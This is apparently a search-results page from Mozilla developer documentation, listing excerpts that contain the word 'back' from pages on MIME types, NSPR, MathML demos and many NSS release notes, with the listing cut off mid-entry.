Properly configuring server MIME types - Learn web development
background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical
background registered values for mime types are available in iana | mime media types.
Introduction to the server side - Learn web development
creating this code is known as "server-side programming" (or sometimes "
back-end scripting").
...for "dynamic requests" the server interprets the request, reads required information from the database (3), combines the retrieved data with html templates (4), and sends
back a response containing the generated html (5,6).
Ember resources and troubleshooting - Learn web development
> with ember-box: {{#let (box this.somedata) as |somedata|}} <checkbox @value={{unwrap somedata}} @ontoggle={{update somedata (not this.somedata)}} /> {{/let}} note that none of these solutions are particularly common among members of the community, and as a whole, people are still trying to figure out an ergonomic and simple api for setting data in a template-only context, without
backing js.
...on the surface, they function much the same as the
backing javascript of a component.
Client-side tooling overview - Learn web development
source code control also known as version control systems (vcs), source code control is essential for
backing work up and working in teams.
...in the
background, the framework’s javascript code works hard to interpret this custom syntax and render it as a final web app.
Package management basics - Learn web development
we've met npm already, but stepping
back from npm itself, a package manager is a system that will manage your project dependencies.
... in the index.js file, add the following code and save it: import { formatdistancetonow } from 'date-fns' const date = '1996-09-13 10:00:00'; document.body.textcontent = formatdistancetonow(new date(date)) + ' ago'; go
back to http://localhost:1234 and you'll see how long ago it is since the author turned 18.
Tools and testing - Learn web development
this module gives you some fundamental
background knowledge about how client-side frameworks work and how they fit into your toolset, before moving on to tutorial series covering some of today's most popular ones.
... git and github all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll
back to previous versions of the code base if a problem is discovered later on.
Accessibility and Mozilla
however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feed
back.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
...feed
back and constructive suggestions are encouraged.mozilla plugin accessibilityplugins in gecko-based browsers have a lot of accessibility issues.
Chrome registration
n.b.: because older versions of firefox do not understand the contentaccessible flag, any extension designed to work with both firefox 3 and older versions of firefox will need to provide a fall
back.
...this format is deprecated; however, seamonkey versions before version 2 do not support the plaintext manifest format yet, so contents.rdf manifests are required for extensions that wish to maintain
backwards compatibility with firefox 1.0 or the suite.
Debugging on Windows
alternatively, if you have generated the visual studio solution, via ./mach build-
backend -b visualstudio, opening this solution allows you to run firefox.exe directly in the debugger.
... debugging tinderbox builds see running windows debug builds problems loading debug symbols if both your application and visual c++ hang shortly after launching the application under the debugger, you may be hitting a known deadlock in the way visual studio downloads debug symbols for the system libraries; see https://connect.microsoft.com/visualstudio/feed
back/details/422970/hang-loading-rasapi32-pdb-when-using-symbol-server.
pymake
note: on windows, you must take special care to be able to switch
back and forth between gmake and pymake on the same object dir.
... this should come
back with "no makefile found." if it does, your pymake alias is connected and you are ready to type in pymake -f client.mk to start the build.
Gecko Logging
logging framework declaring a log module lazylogmodule defers the creation the
backing logmodule in a thread-safe manner and is the preferred method to declare a log module.
... multiple lazylogmodules with the same name can be declared, all will share the same
backing logmodule.
Inner and outer windows
consider this view of a window and the browser history: as the user navigates, documents are added to the
backward-forward cache (often referred to as the bfcache).
...as the user navigates in each of the documents in the various frames, each of those inner windows has its own history that can be moved forward and
backward through, just like in the previous diagram.
Displaying Places information using views
the built-in tree view is
backed by an instance of placestreeview, a prototype defined in browser/components/places/content/treeview.js.
...the javascript prototype
backing the built-in view, placestreeview, is especially useful since it implements all three of nsinavhistoryresulttreeviewer, nsinavhistoryresultobserver, and nsitreeview.
Linux compatibility matrix
distribution kernel glibc glib gtk+2 gtk+3 pixman stdc++ gcc clang python3 released eol notes red
backgrounds denote lack of compatibility with current versions of firefox.
... yellow
backgrounds denote compatibility with esr78 green
backgrounds denote compatibility with the current release (as of writing, 78) greener
backgrounds denote compatibility with the current mozilla-central (as of writing, 80).
Cross Process Object Wrappers
one of these shims provides the following behavior: whenever chrome code tries to access content directly (for example, through window.content or browser.contentdocument), it is given
back a cpow that wraps the content object.
...you might expect the value of uri to come
back as "hello.com".
HTMLIFrameElement.findNext()
available values are forward and
backward.
... prev.addeventlistener('touchend',function() { browser.findnext('
backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification.
CSS -moz-bool-pref() @supports function
html <div id="pref-test"> this will have a green
background if the <code>test</code> preference is enabled.
... </div> css @supports -moz-bool-pref("test") { #pref-test {
background: green; } } @supports not -moz-bool-pref("test") { #pref-test {
background: red; } } result ...
IME handling guide
background color, foreground color (text color) and underline color can be specified with following prefs.
... ui.imerawinput
background ui.imerawinputforeground ui.imerawinputunderline ui.imeselectedrawtext
background ui.imeselectedrawtextforeground ui.imeselectedrawtextunderline ui.imeconvertedtext
background ui.imeconvertedtextforeground ui.imeconvertedtextunderline ui.imeselectedconvertedtext
background ui.imeselectedconvertedtextforeground ui.imeselectedconvertedtextunderline underline style can be specified with the following prefs.
AsyncShutdown.jsm
examples asyncshutdown.profilebeforechange.addblocker("module: just a promise", promise); // profilebeforechange will not complete until // promise is resolved or rejected asyncshutdown.profilebeforechange.addblocker("module: a call
back", function condition() { // ...
... // execute this code during profilebeforechange return promise; // profilebeforechange will not complete until promise // is resolved or rejected }); asyncshutdown.profilebeforechange.addblocker("module: trivial call
back", function condition() { // ...
FxAccountsOAuthClient.jsm
registers a webchannel listener and sets up a call
back if needed.
... parameters none teardown() call this function to manually release all channels and call
backs that are in use by this client.
Deferred
use the new promise() constructor instead (or use the above
backwards/forwards compatible deferred function given below).
...
backwards and forwards compatible helper this deferred function can be used for
backwards and forwards compatibility, due to a change that took place in firefox 30.
XPCOMUtils.jsm
example for (var section in xpcomutils.iterstringenumerator(iniparser.getsections())) console.log(section); post-registration call
back the post-registration call
back called by generatemodule() should have the following signature: postregister( nsicomponentmanager compmgr, nsifile filespec, componentsarray ); parameters compmgr an nsicomponentmanager instance to use for managing the component.
... pre-unregistration call
back the pre-unregistration call
back passed to generatemodule() should have the following signature: preunregister( nsicomponentmanager compmgr, nsifile filespec, componentsarray ); parameters compmgr the nsicomponentmanager instance to use for managing the component.
Localizing with Koala
this will execute "hg add" on this file in the
background.
... koala will execute "hg commit" in the
background and will let you know that the files were successfully committed.
Localizing without a specialized tool
to start, make sure you are in /path/to/your/working/directory/l10n-mozilla-1.9.2/x-testing and then, type the command mkdir /browser/chrome/browser now, step
back out to the broader directory that contains both your l10n base (l10n-mozilla-1.9.2) and the en-us source code (mozilla-1.9.2).
... again, to start, make sure you are in /path/to/your/working/directory/l10n-mozilla-1.9.2/x-testing now, step
back out to the broader directory that contains both your l10n base (l10n-mozilla-1.9.2) and the en-us source code (mozilla-1.9.2).
QA phase
after you test your localization, you should send it to a remote repository, which will serve as a
backup for your work and will let others follow your progress.
...that step is
back on the initial setup page.
Release phase
we will perform a technical review of your work and provide you with feed
back.
...feel free to come
back to refer to this tutorial as often as needed.
Localization formats
you may choose to present just the html for localization: we give an html file which lists several pieces of content like, <h1>getting started</h1> and the localizer translates to <h1>débuter avec firefox</h1> the localizer then submits the translated html or php
back to us by either checking in changes to svn or sending us a patch that pascal checks in.
... without having the exact content as the msgid, this process may cause several errors since the localizers cannot has to continually switch
back-and-forth.
Basics
mathml
background image html content <div class="
background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <ms...
...ub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="
background"] {
background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML In Action
as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html content <p> <math display="block"> <mstyle id="zoomablemath" math
background="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>±</mo> <msqrt> <mrow> <msup> <mi>b</mi> <mn>2</mn> ...
...your feed
back can be manifested by putting mathml content on the web, reporting bugs in bugzilla, and, if you can help with code, inspecting/improving the current code, and/or picking up an item in the todo list.
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a
background image at a desired opacity mathml
background image html content <div class="
background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>...
...<mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="
background"] {
background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mspace> - space
mathml demo: <mspace> - space the
background color of <mspace> elements has been set to yellow for easier viewing.
...l" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="
background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("he...
Mozilla Web Developer FAQ
in the quirks mode—for the purpose of
backwards compatibility—gecko mimics some behaviors of legacy browsers in ways that are spec violations.
... application/xhtml+xml was added to the accept header in order to enable the serving of mathml to both mozilla and ie with apache without scripting
back when the mathplayer plug-in for ie did not handle application/xhtml+xml.
Memory reporting
each reporter implements a collectreports function which takes a nsimemoryreportercall
back argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... mystring *gmystring; class mystringreporter moz_final : public nsimemoryreporter { moz_define_malloc_size_of(mallocsizeof) public: ns_decl_isupports ns_method collectreports(nsihandlereportcall
back* ahandlereport, nsisupports* adata) { // btw: if gmystring wasn't a pointer, you'd use // |gmystring.sizeofexcludingthis(mallocsizeof)| instead.
Preference reference
true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadin
backgroundbrowser.search.context.loadin
background controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the
background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name includin...
...controls the position and direction from which popup notifications invoked by nsialertsservice are sliding in.ui.spellcheckerunderlineui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.ui.spellcheckerunderlinestyleui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.ui.textselect
backgroundui.textselect
background saves the color in which the
background of a text selection in the user interface or in content will be styled.ui.textselectforegroundui.textselectforeground saves the color in which the text of a text selection in the user interface or the content will be styled.ui.tooltipdelayui.tooltipdelay stores the delay in milliseconds between the mouse stopping over an element...
Midas
supported commands command value description
backcolor a color code.
... this command will set the
background color of the document.
I/O Functions
nspr converts the slashes in a pathname to the directory separator of the native os--for example,
backslash (\) on windows and colon (:) on mac os--before passing it to the native system calls.
...pollable events are implemented using a pipe or a pair of tcp sockets connected via the loop
back address, therefore setting and/or waiting for pollable events are expensive operating system calls.
NSPR Types
pr_call
back is used for definitions and declarations of functions that are called via function pointers.
... here are some simple examples of the use of these types: in dowhim.h: pr_extern( void ) dowhatimean( void ); static void pr_call
back rootfunction(void *arg); in dowhim.c: pr_implement( void ) dowhatimean( void ) { return; }; prthread *thread = pr_createthread(..., rootfunction, ...); algebraic types nspr provides the following type definitions with unambiguous bit widths for algebraic operations: 8-, 16-, and 32-bit integer types 64-bit integer types floating-point number type for convenience, nspr also provides type definitions with platform-dependent bit widths: native os integer types 8-, 16-, and 32-bit integer types signed integers print8 print16 print32 uns...
PRNetAddr
(note that prnetaddr does not have the length field that is present in struct sockaddr_in on some unix platforms.) the macros pr_af_inet, pr_af_inet6, pr_inaddr_any, pr_inaddr_loop
back are defined if prio.h is included.
... pr_inaddr_any and pr_inaddr_loop
back are special ipv4 addresses in host byte order, so they must be converted to network byte order before being assigned to the inet.ip field.
PRSockOption
syntax #include <prio.h> typedef enum prsockoption { pr_sockopt_nonblocking, pr_sockopt_linger, pr_sockopt_reuseaddr, pr_sockopt_keepalive, pr_sockopt_recvbuffersize, pr_sockopt_sendbuffersize, pr_sockopt_iptimetolive, pr_sockopt_iptypeofservice, pr_sockopt_addmember, pr_sockopt_dropmember, pr_sockopt_mcastinterface, pr_sockopt_mcasttimetolive, pr_sockopt_mcastloop
back, pr_sockopt_nodelay, pr_sockopt_maxsegment, pr_sockopt_last } prsockoption; enumerators the enumeration has the following enumerators: pr_sockopt_nonblocking nonblocking i/o.
... pr_sockopt_mcastloop
back ip multicast loop
back.
PRSocketOptionData
syntax #include <prio.h> typedef struct prsocketoptiondata { prsockoption option; union { pruintn ip_ttl; pruintn mcast_ttl; pruintn tos; prbool non_blocking; prbool reuse_addr; prbool keep_alive; prbool mcast_loop
back; prbool no_delay; prsize max_segment; prsize recv_buffer_size; prsize send_buffer_size; prlinger linger; prmcastrequest add_member; prmcastrequest drop_member; prnetaddr mcast_if; } value; } prsocketoptiondata; fields the structure has the following fields: ip_ttl ip time-to-live.
... mcast_loop
back ip multicast loop
back.
PRTimeParamFn
this type defines a call
back function to calculate and return the time parameter offsets from a calendar time object in gmt.
... syntax #include <prtime.h> typedef prtimeparameters (pr_call
back_decl *prtimeparamfn) (const prexplodedtime *gmt); description the type prtimeparamfn represents a call
back function that, when given a time instant in gmt, returns the time zone information (offset from gmt and dst offset) at that time instant.
PR_GMTParameters
note: since this function requires gmt as input, its primary use is as "filler" for cases in which you need a do-nothing call
back.
... description this is a frequently-used time parameter call
back function.
JSS 4.4.0 Release Notes
compatibility jss 3.30 shared libraries are not
backward compatible with all older jss 4.3.2 shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product jss).
NSS 3.12.4 release notes
new and revised documents available since the release of nss 3.12 include the following: build instructions for nss 3.12.4 compatibility nss 3.12.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS 3.12.5 release_notes
new and revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS 3.12.6 release notes
new and revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.6 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS 3.12.9 release notes
new and revised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS 3.14.1 release notes
bugs fixed in nss 3.14.1 the following bugzilla query returns all of the bugs fixed in nss 3.14.1: https://bugzilla.mozilla.org/buglist.cgi?list_id=5216669;resolution=fixed;query_format=advanced;bug_status=resolved;bug_status=verified;target_milestone=3.14.1;product=nss compatability nss 3.14.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered in this release should be reported by filing a bug report at https://bugzilla.mozilla.org with the product of nss.
NSS 3.14.2 release notes
bugs fixed in nss 3.14.2 https://bugzilla.mozilla.org/buglist.cgi?list_id=5502456;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.14.2;product=nss compatibility nss 3.14.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.14.3 release notes
bugs fixed in nss 3.14.3 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.14.3;product=nss compatibility nss 3.14.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.14.4 release notes
bugs fixed in nss 3.14.4 https://bugzilla.mozilla.org/buglist.cgi?bug_id=894370%2c832942%2c863947&bug_id_type=anyexact&list_id=8338081&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.14.5 release notes
bugs fixed in nss 3.14.5 https://bugzilla.mozilla.org/buglist.cgi?bug_id=934016&bug_id_type=anyexact&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.15.1 release notes
bugs fixed in nss 3.15.1 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.15.1;product=nss compatibility nss 3.15.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.15.2 release notes
a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.2&product=nss&list_id=7982238 compatibility nss 3.15.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.15.3.1 release notes
bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates from dcssi a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3.1&product=nss compatibility nss 3.15.3.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.15.3 release notes
- list rc4_128 cipher suites after aes_128 cipher suites bug 919677 - don't advertise tls 1.2-only ciphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3&product=nss compatibility nss 3.15.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.15.5 release notes
bugs fixed in nss 3.15.5 a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.5&product=nss compatibility nss 3.15.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.16.2.1 release notes
compatibility nss 3.16.2.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.16.2.2 release notes
bugs fixed in nss 3.16.2.2 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.2.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.16.5 release notes
compatibility nss 3.16.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.16.6 release notes
bugs fixed in nss 3.16.6 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.6 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.17.2 release notes
bugs fixed in nss 3.17.2 this bugzilla query returns all the bugs fixed in nss 3.17.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.2 compatibility nss 3.17.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.17.4 release notes
bugs fixed in nss 3.17.4 this bugzilla query returns all the bugs fixed in nss 3.17.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.4 compatibility nss 3.17.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.1 release notes
compatibility nss 3.19.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.2.1 release notes
compatibility nss 3.19.2.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.2.2 release notes
compatibility nss 3.19.2.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.2.3 release notes
compatibility nss 3.19.2.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.2.4 release notes
security fixes in nss 3.19.2.4 the following security fixes from nss 3.21 have been
backported to nss 3.19.2.4: bug 1185033 / cve-2016-1979 - use-after-free during processing of der encoded keys in nss bug 1209546 / cve-2016-1978 - use-after-free in nss during ssl connections in low memory bug 1190248 / cve-2016-1938 - errors in mp_div and mp_exptmod cryptographic functions in nss compatibility nss 3.19.2.4 shared libraries are
backward compatible with all older nss 3.x share...
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.2 release notes
bugs fixed in nss 3.19.2 this bugzilla query returns all the bugs fixed in nss 3.19.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.2 compatibility nss 3.19.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.3 release notes
:11:2e:f7:1c:01:b9:32:c5:34:e7:88:a8 the version number of the updated root ca list has been set to 2.5 bugs fixed in nss 3.19.3 this bugzilla query returns all the bugs fixed in nss 3.19.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.3 compatibility nss 3.19.3 shared libraries are
backward compatible with all older nss 3.19 shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19.4 release notes
compatibility nss 3.19.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.19 release notes
compatibility nss 3.19 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.20.1 release notes
compatibility nss 3.20.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.20.2 release notes
compatibility nss 3.20.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.21.1 release notes
compatibility nss 3.21.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.21.2 release notes
compatibility nss 3.21.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.21.3 release notes
compatibility nss 3.21.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.21.4 release notes
compatibility nss 3.21.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.22.1 release notes
notable changes in nss 3.22.1 bug 1194680: nss has been changed to use the pr_getenvsecure function that was made available in nspr 4.12 compatibility nss 3.22.1 shared libraries are
backward compatible with all older nss 3.22 shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.22.3 release notes
bugs fixed in nss 3.22.3 bug 1243641 - increase compatibility of tls extended master secret, don't send an empty tls extension last in the handshake compatibility nss 3.22.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.22 release notes
bugs fixed in nss 3.22 this bugzilla query returns all the bugs fixed in nss 3.22: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.22 compatibility nss 3.22 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.23 release notes
compatibility nss 3.23 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.24 release notes
compatibility nss 3.24 shared libraries are
backward-compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.25.1 release notes
bugs fixed in nss 3.25.1 the following bug has been fixed in nss 3.25.1: ignore md5 signature algorithms in certificate requests compatibility nss 3.25.1 shared libraries are
backwards compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.25 release notes
256 fingerprint: b7:c3:62:31:70:6e:81:07:8c:36:7c:b8:96:19:8f:1e:32:08:dd:92:69:49:dd:8f:57:09:a4:10:f7:5b:62:92 bugs fixed in nss 3.25 this bugzilla query returns all the bugs fixed in nss 3.25: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.25 compatibility nss 3.25 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.26.2 release notes
bugs fixed in nss 3.26.2 the following bug has been fixed in nss 3.26.2: ignore md5 signature algorithms in certificate requests compatibility nss 3.26.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.26 release notes
pletes with the experimental tls 1.3 code enabled several test improvements and additions, including a nist known answer test bugs fixed in nss 3.26 this bugzilla query returns all the bugs fixed in nss 3.26: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.26 compatibility nss 3.26 shared libraries are
backwards compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.27.1 release notes
bugs fixed in nss 3.27.1 the following bug has been fixed in nss 3.27.1: re-disable tls 1.3 by default compatibility nss 3.27.1 shared libraries are
backwards compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.27.2 Release Notes
bugs fixed in nss 3.27.2 the following bug has been fixed in nss 3.27.2: bug 1318561 - ssl_settrustanchors leaks compatibility nss 3.27.2 shared libraries are
